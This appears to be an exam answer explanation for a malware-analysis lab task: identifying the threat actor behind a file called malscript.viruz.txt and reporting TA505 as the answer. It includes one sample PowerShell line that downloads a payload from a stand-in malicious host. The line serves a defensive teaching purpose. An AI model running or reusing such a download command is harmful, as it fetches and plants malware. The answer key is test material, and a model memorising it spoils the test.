See the solution in Explanation.
Explanation:
To identify thethreat actor groupassociated with themalscript.viruz.txtfile, follow these steps:
Step 1: Access the Analyst Desktop
* Log into the Analyst Desktopusing your credentials.
* Locate theMalware Samplesfolder on the desktop.
* Inside the folder, find the file:
malscript.viruz.txt
Step 2: Examine the File
* Open the file using a text editor:
* OnWindows:Right-click > Open with > Notepad.
* OnLinux:
cat ~/Desktop/Malware\ Samples/malscript.viruz.txt
* Carefully read through the file content to identify:
* Anystrings or commentsembedded within the script.
* Specifickeywords,URLs, orfile hashes.
* Anycommand and control (C2)server addresses or domain names.
Step 3: Analyze the Contents
* Focus on:
* Unique Identifiers:Threat group names, malware family names, or specific markers.
* Indicators of Compromise (IOCs):URLs, IP addresses, or domain names.
* Code Patterns:Specific obfuscation techniques or script styles linked to known threat groups.
Example Content:
# Malware Script Sample
# Payload linked to TA505 group
Invoke-WebRequest
-Uri "http://malicious.example.com/payload" -OutFile "C:\Users\Public\malware.exe" Step 4: Correlate with Threat Intelligence
* Use the following resources to correlate any discovered indicators:
* MITRE ATT&CK:To map the technique or tool.
* VirusTotal:To check file hashes or URLs.
* Threat Intelligence Feeds:Such asAlienVault OTXorThreatMiner.
* If the script contains encoded or obfuscated strings, decode them using:
powershell
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gd29ybGQ=")) Step 5: Identify the Threat Actor Group
* If the script includes names, tags, or artifacts commonly associated with a specific group, take note.
* Match any C2 domains or IPs with known threat actor profiles.
Common Associations:
* TA505:Known for distributing banking Trojans and ransomware via malicious scripts.
* APT28 (Fancy Bear):Uses PowerShell-based malware and data exfiltration scripts.
* Lazarus Group:Often embeds unique strings and comments related to espionage operations.
Step 6: Example Finding
Based on the contents and C2 indicators found withinmalscript.viruz.txt, it may contain specific references or techniques that are typical of theTA505group.
Final Answer:
csharp
The malware in the malscript.viruz.txt file is associated with the TA505 threat actor group.
Step 7: Report and Document
* Include the following details:
* Filename:malscript.viruz.txt
* Associated Threat Group:TA505
* Key Indicators:Domain names, script functions, or specific malware traits.
* Generate an incident report summarizing your analysis.
Step 8: Next Steps
* Quarantine and Isolate:If the script was executed, isolate the affected system.
* Forensic Analysis:Deep dive into system logs for any signs of execution.
* Threat Hunting:Search for similar scripts or IOCs in the network.